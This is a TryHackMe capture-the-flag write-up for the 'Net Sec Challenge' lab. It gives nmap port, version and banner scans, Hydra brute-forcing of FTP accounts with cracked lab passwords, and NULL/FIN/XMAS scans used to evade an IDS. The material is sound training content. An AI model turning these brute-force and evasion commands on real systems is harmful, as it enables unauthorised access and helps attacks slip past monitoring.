TryHackMe Net Sec Challenge Writeup

Room Information

• Platform: TryHackMe
• Room Name: Net Sec Challenge
• Difficulty: Medium
• Room link: https://tryhackme.com/room/netsecchallenge
• Overview: This challenge is designed to test the skills you picked up in the Network Security module. Every question can be solved using nmap, telnet and hydra.

Task 1: Introduction

Q1: Launch the AttackBox and the target VM

Answer: No answer needed

Task 2: Challenge Questions

Q1: What is the highest port number being open less than 10,000?

Command:

nmap -Pn --top-ports 10000 10.201.107.10

Explanation:

• -Pn: Skip the ping check and assume the host is up
• --top-ports 10000: Scan the 10,000 most common ports

Answer: 8080

Q2: There is an open port outside the common 1000 ports; it is above 10,000. What is it?

Command:

nmap -p 10000-65535 10.201.107.10 -T4 --open

Explanation:

• -p 10000-65535: Scan the port range from 10000 to 65535
• -T4: Use a faster timing template (Aggressive)
• --open: Only show ports that are open

Answer: 10021

Q3: How many TCP ports are open?

From the earlier scan results we can see the open ports are:

• 22 (SSH)
• 80 (HTTP)
• 139 (NetBIOS)
• 445 (SMB)
• 8080 (HTTP Proxy)
• 10021 (FTP)

Answer: 6

Q4: What is the flag hidden in the HTTP server header?

Command:

curl -I 10.201.107.10

Or use nmap:

nmap -p 80 --script http-server-header 10.201.107.10

Explanation:

• curl -I: Fetch only the HTTP response headers
• The hidden flag is included in the HTTP header

Answer: (the flag in the HTTP server header)

Q5: What is the flag hidden in the SSH server header?

Command:

telnet 10.201.107.10 22

Or use nmap:

nmap -p 22 -sV 10.201.107.10

Explanation:

• Once you connect to the SSH port, the server sends back its banner information
• The flag is hidden in the SSH banner

Answer: (the flag in the SSH banner)

Q6: We have an FTP server listening on a nonstandard port. What is the version of the FTP server?

Command:

nmap -sV -sC 10.201.107.10 -p 10021

Explanation:

• -sV: Version detection
• -sC: Run the default script scan
• -p 10021: Specify the nonstandard FTP port

Sample output:

10021/tcp open  ftp     vsftpd 3.0.5

Answer: vsftpd 3.0.5

Q7: We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?

Step 1: Brute-force the passwords with Hydra

Crack eddie's password:

hydra -l eddie -P /usr/share/wordlists/rockyou.txt ftp://10.201.107.10 -s 10021

Result:

[10021][ftp] host: 10.201.107.10   login: eddie   password: jordan

Crack quinn's password:

hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.201.107.10 -s 10021

Result:

[10021][ftp] host: 10.201.107.10   login: quinn   password: andrea

Step 2: Log in to FTP and hunt for the flag

Log in to the eddie account:

ftp 10.201.107.10 10021
Name: eddie
Password: jordan
ftp> ls
# (empty directory)
ftp> exit

Log in to the quinn account:

ftp 10.201.107.10 10021
Name: quinn
Password: andrea
ftp> ls
-rw-rw-r--    1 1002     1002           18 Sep 20  2021 ftp_flag.txt
ftp> get ftp_flag.txt
ftp> exit

View the flag:

cat ftp_flag.txt

Answer: (the contents of ftp_flag.txt)

Q8: Browsing to http://10.201.107.10:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?

This question asks you to scan the target machine as stealthily as possible, avoiding detection by the IDS (Intrusion Detection System).

Key steps:

1. Click the "Reset Packet Count" button on the web page (resets the detection counter)
2. Use a stealth scanning technique

Best solution - NULL SCAN:

Command:

sudo nmap -sN 10.201.107.10

Why does a NULL SCAN work?

• A NULL scan sets none of the TCP flags (no SYN, ACK, RST, FIN, etc.)
• It sends an "empty" packet that doesn't look like a normal connection attempt
• Many IDS/firewalls are configured not to block this kind of traffic
• As a result it's easier to slip past detection

Other possible stealth scanning methods:

FIN Scan:

sudo nmap -sF 10.201.107.10 -T1 --mtu 8

XMAS Scan:

sudo nmap -sX 10.201.107.10

Verify the result:

You don't need to wait for the scan to finish. As long as you use a stealthy command, refresh the web page at http://10.201.107.10:8080, and if it shows 0% Chance of scan being detected, the flag will appear!

Key Takeaways

• Port scanning techniques (full port scans, range scans) - pick the right scan parameters based on what the task needs
• Service version identification - services on nonstandard ports deserve extra attention
• HTTP/SSH banner grabbing - extract hidden information from service headers
• Password brute-forcing - use Hydra together with a wordlist attack
• IDS evasion techniques (NULL/FIN/XMAS scans) - stealth scanning is important in penetration testing, and a NULL scan is an effective way to bypass simple IDS

Lessons Learned

On Q8:

For this one I initially tried plenty of scanning methods, but they all got detected - packet fragmentation (-f), for example. I'm not sure exactly how the backend decides here, but in practice, from my own experience, a NULL scan really is a rare sight.